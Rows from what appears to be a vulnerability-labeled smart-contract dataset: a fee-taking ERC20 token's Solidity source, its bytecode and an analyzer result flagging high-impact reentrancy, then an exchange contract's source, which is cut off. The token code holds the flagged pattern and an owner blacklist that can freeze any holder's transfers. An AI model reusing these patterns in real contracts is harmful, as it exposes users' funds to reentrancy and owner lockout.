function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 11;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 11;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610297578063b515566a146102b7578063c3c8cd80146102d7578063c9567bf9146102ec578063dd62ed3e1461030157600080fd5b806370a082311461023a578063715018a61461025a5780638da5cb5b1461026f57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c7578063313ce567146101e95780635932ead1146102055780636fc3eaec1461022557600080fd5b806306fdde031461010e578063095ea7b31461014e57806318160ddd1461017e57806323b872dd146101a757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201825260088152675461726f6d61727560c01b602082015290516101459190611794565b60405180910390f35b34801561015a57600080fd5b5061016e610169366004611634565b610347565b6040519015158152602001610145565b34801561018a57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610145565b3480156101b357600080fd5b5061016e6101c23660046115f3565b61035e565b3480156101d357600080fd5b506101e76101e2366004611580565b6103c7565b005b3480156101f557600080fd5b5060405160098152602001610145565b34801561021157600080fd5b506101e761022036600461172c565b61041b565b34801561023157600080fd5b506101e7610463565b34801561024657600080fd5b50610199610255366004611580565b610490565b34801561026657600080fd5b506101e76104b2565b34801561027b57600080fd5b506000546040516001600160a01b039091168152602001610145565b3480156102a357600080fd5b5061016e6102b2366004611634565b610526565b3480156102c357600080fd5b506101e76102d2366004611660565b610533565b3480156102e357600080fd5b506101e76105c9565b3480156102f857600080fd5b506101e76105ff565b34801561030d57600080fd5b5061019961031c3660046115ba565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103543384846109c8565b5060015b92915050565b600061036b848484610aec565b6103bd84336103b885604051806060016040528060288152602001611980602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e37565b6109c8565b5060019392505050565b6000546001600160a01b031633146103fa5760405162461bcd60e51b81526004016103f1906117e9565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104455760405162461bcd60e51b81526004016103f1906117e9565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048357600080fd5b4761048d81610e71565b50565b6001600160a01b03811660009081526002602052604081205461035890610ef6565b6000546001600160a01b031633146104dc5760405162461bcd60e51b81526004016103f1906117e9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610354338484610aec565b6000546001600160a01b0316331461055d5760405162461bcd60e51b81526004016103f1906117e9565b60005b81518110156105c55760016006600084848151811061058157610581611930565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105bd816118ff565b915050610560565b5050565b600c546001600160a01b0316336001600160a01b0316146105e957600080fd5b60006105f430610490565b905061048d81610f7a565b6000546001600160a01b031633146106295760405162461bcd60e51b81526004016103f1906117e9565b600f54600160a01b900460ff16156106835760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f1565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c330826b033b2e3c9fd0803ce80000006109c8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106fc57600080fd5b505afa158015610710573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610734919061159d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077c57600080fd5b505afa158015610790573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b4919061159d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107fc57600080fd5b505af1158015610810573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610834919061159d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061086481610490565b6000806108796000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108dc57600080fd5b505af11580156108f0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109159190611766565b5050600f80546a108b2a2c2802909400000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099057600080fd5b505af11580156109a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c59190611749565b6001600160a01b038316610a2a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f1565b6001600160a01b038216610a8b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b505760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f1565b6001600160a01b038216610bb25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f1565b60008111610c145760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f1565b6001600a55600b80556000546001600160a01b03848116911614801590610c4957506000546001600160a01b03838116911614155b15610e27576001600160a01b03831660009081526006602052604090205460ff16158015610c9057506001600160a01b03821660009081526006602052604090205460ff16155b610c9957600080fd5b600f546001600160a01b038481169116148015610cc45750600e546001600160a01b03838116911614155b8015610ce957506001600160a01b03821660009081526005602052604090205460ff16155b8015610cfe5750600f54600160b81b900460ff165b15610d5b57601054811115610d1257600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3657600080fd5b610d4142603c61188f565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d865750600e546001600160a01b03848116911614155b8015610dab57506001600160a01b03831660009081526005602052604090205460ff16155b15610dba576001600a55600b80555b6000610dc530610490565b600f54909150600160a81b900460ff16158015610df05750600f546001600160a01b03858116911614155b8015610e055750600f54600160b01b900460ff165b15610e2557610e1381610f7a565b478015610e2357610e2347610e71565b505b505b610e32838383611103565b505050565b60008184841115610e5b5760405162461bcd60e51b81526004016103f19190611794565b506000610e6884866118e8565b95945050505050565b600c546001600160a01b03166108fc610e8b83600261110e565b6040518115909202916000818181858888f19350505050158015610eb3573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ece83600261110e565b6040518115909202916000818181858888f193505050501580156105c5573d6000803e3d6000fd5b6000600854821115610f5d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f1565b6000610f67611150565b9050610f73838261110e565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc257610fc2611930565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101657600080fd5b505afa15801561102a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104e919061159d565b8160018151811061106157611061611930565b6001600160a01b039283166020918202929092010152600e5461108791309116846109c8565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110c090859060009086903090429060040161181e565b600060405180830381600087803b1580156110da57600080fd5b505af11580156110ee573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e32838383611173565b6000610f7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061126a565b600080600061115d611298565b909250905061116c828261110e565b9250505090565b600080600080600080611185876112e0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b7908761133d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e6908661137f565b6001600160a01b038916600090815260026020526040902055611208816113de565b6112128483611428565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125791815260200190565b60405180910390a3505050505050505050565b6000818361128b5760405162461bcd60e51b81526004016103f19190611794565b506000610e6884866118a7565b60085460009081906b033b2e3c9fd0803ce80000006112b7828261110e565b8210156112d7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006112fd8a600a54600b5461144c565b925092509250600061130d611150565b905060008060006113208e8787876114a1565b919e509c509a509598509396509194505050505091939550919395565b6000610f7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e37565b60008061138c838561188f565b905083811015610f735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f1565b60006113e8611150565b905060006113f683836114f1565b30600090815260026020526040902054909150611413908261137f565b30600090815260026020526040902055505050565b600854611435908361133d565b600855600954611445908261137f565b6009555050565b6000808080611466606461146089896114f1565b9061110e565b9050600061147960646114608a896114f1565b905060006114918261148b8b8661133d565b9061133d565b9992985090965090945050505050565b60008080806114b088866114f1565b905060006114be88876114f1565b905060006114cc88886114f1565b905060006114de8261148b868661133d565b939b939a50919850919650505050505050565b60008261150057506000610358565b600061150c83856118c9565b90508261151985836118a7565b14610f735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f1565b803561157b8161195c565b919050565b60006020828403121561159257600080fd5b8135610f738161195c565b6000602082840312156115af57600080fd5b8151610f738161195c565b600080604083850312156115cd57600080fd5b82356115d88161195c565b915060208301356115e88161195c565b809150509250929050565b60008060006060848603121561160857600080fd5b83356116138161195c565b925060208401356116238161195c565b929592945050506040919091013590565b6000806040838503121561164757600080fd5b82356116528161195c565b946020939093013593505050565b6000602080838503121561167357600080fd5b823567ffffffffffffffff8082111561168b57600080fd5b818501915085601f83011261169f57600080fd5b8135818111156116b1576116b1611946565b8060051b604051601f19603f830116810181811085821117156116d6576116d6611946565b604052828152858101935084860182860187018a10156116f557600080fd5b600095505b8386101561171f5761170b81611570565b8552600195909501949386019386016116fa565b5098975050505050505050565b60006020828403121561173e57600080fd5b8135610f7381611971565b60006020828403121561175b57600080fd5b8151610f7381611971565b60008060006060848603121561177b57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117c1578581018301518582016040015282016117a5565b818111156117d3576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186e5784516001600160a01b031683529383019391830191600101611849565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a2576118a261191a565b500190565b6000826118c457634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118e3576118e361191a565b500290565b6000828210156118fa576118fa61191a565b500390565b60006000198214156119135761191361191a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048d57600080fd5b801515811461048d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b3daecc57b3565bfd861b74a90d6693e0c366166b59a7158c596756d3a6cda6064736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,133 |
0x9d160e257f1dff52ec81d5a4e7326dd82e144177 | pragma solidity ^0.4.21;
interface ExchangeInterface {
event Subscribed(address indexed user);
event Unsubscribed(address indexed user);
event Cancelled(bytes32 indexed hash);
event Traded(
bytes32 indexed hash,
address makerToken,
uint makerTokenAmount,
address takerToken,
uint takerTokenAmount,
address maker,
address taker
);
event Ordered(
address maker,
address makerToken,
address takerToken,
uint makerTokenAmount,
uint takerTokenAmount,
uint expires,
uint nonce
);
function subscribe() external;
function unsubscribe() external;
function trade(address[3] addresses, uint[4] values, bytes signature, uint maxFillAmount) external;
function cancel(address[3] addresses, uint[4] values) external;
function order(address[2] addresses, uint[4] values) external;
function canTrade(address[3] addresses, uint[4] values, bytes signature)
external
view
returns (bool);
function isSubscribed(address subscriber) external view returns (bool);
function availableAmount(address[3] addresses, uint[4] values) external view returns (uint);
function filled(bytes32 hash) external view returns (uint);
function isOrdered(address user, bytes32 hash) public view returns (bool);
function vault() public view returns (VaultInterface);
}
interface VaultInterface {
event Deposited(address indexed user, address token, uint amount);
event Withdrawn(address indexed user, address token, uint amount);
event Approved(address indexed user, address indexed spender);
event Unapproved(address indexed user, address indexed spender);
event AddedSpender(address indexed spender);
event RemovedSpender(address indexed spender);
function deposit(address token, uint amount) external payable;
function withdraw(address token, uint amount) external;
function transfer(address token, address from, address to, uint amount) external;
function approve(address spender) external;
function unapprove(address spender) external;
function isApproved(address user, address spender) external view returns (bool);
function addSpender(address spender) external;
function removeSpender(address spender) external;
function latestSpender() external view returns (address);
function isSpender(address spender) external view returns (bool);
function tokenFallback(address from, uint value, bytes data) public;
function balanceOf(address token, address user) public view returns (uint);
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min256(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
library SignatureValidator {
enum SignatureMode {
EIP712,
GETH,
TREZOR
}
/// @dev Validates that a hash was signed by a specified signer.
/// @param hash Hash which was signed.
/// @param signer Address of the signer.
/// @param signature ECDSA signature along with the mode (0 = EIP712, 1 = Geth, 2 = Trezor) {mode}{v}{r}{s}.
/// @return Returns whether signature is from a specified user.
function isValidSignature(bytes32 hash, address signer, bytes signature) internal pure returns (bool) {
require(signature.length == 66);
SignatureMode mode = SignatureMode(uint8(signature[0]));
uint8 v = uint8(signature[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signature, 34))
s := mload(add(signature, 66))
}
if (mode == SignatureMode.GETH) {
hash = keccak256("\x19Ethereum Signed Message:\n32", hash);
} else if (mode == SignatureMode.TREZOR) {
hash = keccak256("\x19Ethereum Signed Message:\n\x20", hash);
}
return ecrecover(hash, v, r, s) == signer;
}
}
library OrderLibrary {
bytes32 constant public HASH_SCHEME = keccak256(
"address Taker Token",
"uint Taker Token Amount",
"address Maker Token",
"uint Maker Token Amount",
"uint Expires",
"uint Nonce",
"address Maker",
"address Exchange"
);
struct Order {
address maker;
address makerToken;
address takerToken;
uint makerTokenAmount;
uint takerTokenAmount;
uint expires;
uint nonce;
}
/// @dev Hashes the order.
/// @param order Order to be hashed.
/// @return hash result
function hash(Order memory order) internal view returns (bytes32) {
return keccak256(
HASH_SCHEME,
keccak256(
order.takerToken,
order.takerTokenAmount,
order.makerToken,
order.makerTokenAmount,
order.expires,
order.nonce,
order.maker,
this
)
);
}
/// @dev Creates order struct from value arrays.
/// @param addresses Array of trade's maker, makerToken and takerToken.
/// @param values Array of trade's makerTokenAmount, takerTokenAmount, expires and nonce.
/// @return Order struct
function createOrder(address[3] addresses, uint[4] values) internal pure returns (Order memory) {
return Order({
maker: addresses[0],
makerToken: addresses[1],
takerToken: addresses[2],
makerTokenAmount: values[0],
takerTokenAmount: values[1],
expires: values[2],
nonce: values[3]
});
}
}
contract Ownable {
address public owner;
modifier onlyOwner {
require(isOwner(msg.sender));
_;
}
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
function isOwner(address _address) public view returns (bool) {
return owner == _address;
}
}
interface ERC20 {
function totalSupply() public view returns (uint);
function balanceOf(address owner) public view returns (uint);
function allowance(address owner, address spender) public view returns (uint);
function transfer(address to, uint value) public returns (bool);
function transferFrom(address from, address to, uint value) public returns (bool);
function approve(address spender, uint value) public returns (bool);
}
interface HookSubscriber {
function tradeExecuted(address token, uint amount) external;
}
contract Exchange is Ownable, ExchangeInterface {
using SafeMath for *;
using OrderLibrary for OrderLibrary.Order;
address constant public ETH = 0x0;
uint256 constant public MAX_FEE = 5000000000000000; // 0.5% ((0.5 / 100) * 10**18)
uint256 constant private MAX_ROUNDING_PERCENTAGE = 1000; // 0.1%
uint256 constant private MAX_HOOK_GAS = 40000; // enough for a storage write and some accounting logic
VaultInterface public vault;
uint public takerFee = 0;
address public feeAccount;
mapping (address => mapping (bytes32 => bool)) private orders;
mapping (bytes32 => uint) private fills;
mapping (bytes32 => bool) private cancelled;
mapping (address => bool) private subscribed;
function Exchange(uint _takerFee, address _feeAccount, VaultInterface _vault) public {
require(address(_vault) != 0x0);
setFees(_takerFee);
setFeeAccount(_feeAccount);
vault = _vault;
}
/// @dev Withdraws tokens accidentally sent to this contract.
/// @param token Address of the token to withdraw.
/// @param amount Amount of tokens to withdraw.
function withdraw(address token, uint amount) external onlyOwner {
if (token == ETH) {
msg.sender.transfer(amount);
return;
}
ERC20(token).transfer(msg.sender, amount);
}
/// @dev Subscribes user to trade hooks.
function subscribe() external {
require(!subscribed[msg.sender]);
subscribed[msg.sender] = true;
emit Subscribed(msg.sender);
}
/// @dev Unsubscribes user from trade hooks.
function unsubscribe() external {
require(subscribed[msg.sender]);
subscribed[msg.sender] = false;
emit Unsubscribed(msg.sender);
}
/// @dev Takes an order.
/// @param addresses Array of trade's maker, makerToken and takerToken.
/// @param values Array of trade's makerTokenAmount, takerTokenAmount, expires and nonce.
/// @param signature Signed order along with signature mode.
/// @param maxFillAmount Maximum amount of the order to be filled.
function trade(address[3] addresses, uint[4] values, bytes signature, uint maxFillAmount) external {
trade(OrderLibrary.createOrder(addresses, values), msg.sender, signature, maxFillAmount);
}
/// @dev Cancels an order.
/// @param addresses Array of trade's maker, makerToken and takerToken.
/// @param values Array of trade's makerTokenAmount, takerTokenAmount, expires and nonce.
function cancel(address[3] addresses, uint[4] values) external {
OrderLibrary.Order memory order = OrderLibrary.createOrder(addresses, values);
require(msg.sender == order.maker);
require(order.makerTokenAmount > 0 && order.takerTokenAmount > 0);
bytes32 hash = order.hash();
require(fills[hash] < order.takerTokenAmount);
require(!cancelled[hash]);
cancelled[hash] = true;
emit Cancelled(hash);
}
/// @dev Creates an order which is then indexed in the orderbook.
/// @param addresses Array of trade's makerToken and takerToken.
/// @param values Array of trade's makerTokenAmount, takerTokenAmount, expires and nonce.
function order(address[2] addresses, uint[4] values) external {
OrderLibrary.Order memory order = OrderLibrary.createOrder(
[msg.sender, addresses[0], addresses[1]],
values
);
require(vault.isApproved(order.maker, this));
require(vault.balanceOf(order.makerToken, order.maker) >= order.makerTokenAmount);
require(order.makerToken != order.takerToken);
require(order.makerTokenAmount > 0);
require(order.takerTokenAmount > 0);
bytes32 hash = order.hash();
require(!orders[msg.sender][hash]);
orders[msg.sender][hash] = true;
emit Ordered(
order.maker,
order.makerToken,
order.takerToken,
order.makerTokenAmount,
order.takerTokenAmount,
order.expires,
order.nonce
);
}
/// @dev Checks if a order can be traded.
/// @param addresses Array of trade's maker, makerToken and takerToken.
/// @param values Array of trade's makerTokenAmount, takerTokenAmount, expires and nonce.
/// @param signature Signed order along with signature mode.
/// @return Boolean if order can be traded
function canTrade(address[3] addresses, uint[4] values, bytes signature)
external
view
returns (bool)
{
OrderLibrary.Order memory order = OrderLibrary.createOrder(addresses, values);
bytes32 hash = order.hash();
return canTrade(order, signature, hash);
}
/// @dev Returns if user has subscribed to trade hooks.
/// @param subscriber Address of the subscriber.
/// @return Boolean if user is subscribed.
function isSubscribed(address subscriber) external view returns (bool) {
return subscribed[subscriber];
}
/// @dev Checks how much of an order can be filled.
/// @param addresses Array of trade's maker, makerToken and takerToken.
/// @param values Array of trade's makerTokenAmount, takerTokenAmount, expires and nonce.
/// @return Amount of the order which can be filled.
function availableAmount(address[3] addresses, uint[4] values) external view returns (uint) {
OrderLibrary.Order memory order = OrderLibrary.createOrder(addresses, values);
return availableAmount(order, order.hash());
}
/// @dev Returns how much of an order was filled.
/// @param hash Hash of the order.
/// @return Amount which was filled.
function filled(bytes32 hash) external view returns (uint) {
return fills[hash];
}
/// @dev Sets the taker fee.
/// @param _takerFee New taker fee.
function setFees(uint _takerFee) public onlyOwner {
require(_takerFee <= MAX_FEE);
takerFee = _takerFee;
}
/// @dev Sets the account where fees will be transferred to.
/// @param _feeAccount Address for the account.
function setFeeAccount(address _feeAccount) public onlyOwner {
require(_feeAccount != 0x0);
feeAccount = _feeAccount;
}
function vault() public view returns (VaultInterface) {
return vault;
}
/// @dev Checks if an order was created on chain.
/// @param user User who created the order.
/// @param hash Hash of the order.
/// @return Boolean if the order was created on chain.
function isOrdered(address user, bytes32 hash) public view returns (bool) {
return orders[user][hash];
}
/// @dev Executes the actual trade by transferring balances.
/// @param order Order to be traded.
/// @param taker Address of the taker.
/// @param signature Signed order along with signature mode.
/// @param maxFillAmount Maximum amount of the order to be filled.
function trade(OrderLibrary.Order memory order, address taker, bytes signature, uint maxFillAmount) internal {
require(taker != order.maker);
bytes32 hash = order.hash();
require(order.makerToken != order.takerToken);
require(canTrade(order, signature, hash));
uint fillAmount = SafeMath.min256(maxFillAmount, availableAmount(order, hash));
require(roundingPercent(fillAmount, order.takerTokenAmount, order.makerTokenAmount) <= MAX_ROUNDING_PERCENTAGE);
require(vault.balanceOf(order.takerToken, taker) >= fillAmount);
uint makeAmount = order.makerTokenAmount.mul(fillAmount).div(order.takerTokenAmount);
uint tradeTakerFee = makeAmount.mul(takerFee).div(1 ether);
if (tradeTakerFee > 0) {
vault.transfer(order.makerToken, order.maker, feeAccount, tradeTakerFee);
}
vault.transfer(order.takerToken, taker, order.maker, fillAmount);
vault.transfer(order.makerToken, order.maker, taker, makeAmount.sub(tradeTakerFee));
fills[hash] = fills[hash].add(fillAmount);
assert(fills[hash] <= order.takerTokenAmount);
if (subscribed[order.maker]) {
order.maker.call.gas(MAX_HOOK_GAS)(HookSubscriber(order.maker).tradeExecuted.selector, order.takerToken, fillAmount);
}
emit Traded(
hash,
order.makerToken,
makeAmount,
order.takerToken,
fillAmount,
order.maker,
taker
);
}
/// @dev Indicates whether or not an certain amount of an order can be traded.
/// @param order Order to be traded.
/// @param signature Signed order along with signature mode.
/// @param hash Hash of the order.
/// @return Boolean if order can be traded
function canTrade(OrderLibrary.Order memory order, bytes signature, bytes32 hash)
internal
view
returns (bool)
{
// if the order has never been traded against, we need to check the sig.
if (fills[hash] == 0) {
// ensures order was either created on chain, or signature is valid
if (!isOrdered(order.maker, hash) && !SignatureValidator.isValidSignature(hash, order.maker, signature)) {
return false;
}
}
if (cancelled[hash]) {
return false;
}
if (!vault.isApproved(order.maker, this)) {
return false;
}
if (order.takerTokenAmount == 0) {
return false;
}
if (order.makerTokenAmount == 0) {
return false;
}
// ensures that the order still has an available amount to be filled.
if (availableAmount(order, hash) == 0) {
return false;
}
return order.expires > now;
}
/// @dev Returns the maximum available amount that can be taken of an order.
/// @param order Order to check.
/// @param hash Hash of the order.
/// @return Amount of the order that can be filled.
function availableAmount(OrderLibrary.Order memory order, bytes32 hash) internal view returns (uint) {
return SafeMath.min256(
order.takerTokenAmount.sub(fills[hash]),
vault.balanceOf(order.makerToken, order.maker).mul(order.takerTokenAmount).div(order.makerTokenAmount)
);
}
/// @dev Returns the percentage which was rounded when dividing.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to multiply with.
/// @return Percentage rounded.
function roundingPercent(uint numerator, uint denominator, uint target) internal pure returns (uint) {
// Inspired by https://github.com/0xProject/contracts/blob/1.0.0/contracts/Exchange.sol#L472-L490
uint remainder = mulmod(target, numerator, denominator);
if (remainder == 0) {
return 0;
}
return remainder.mul(1000000).div(numerator.mul(target));
}
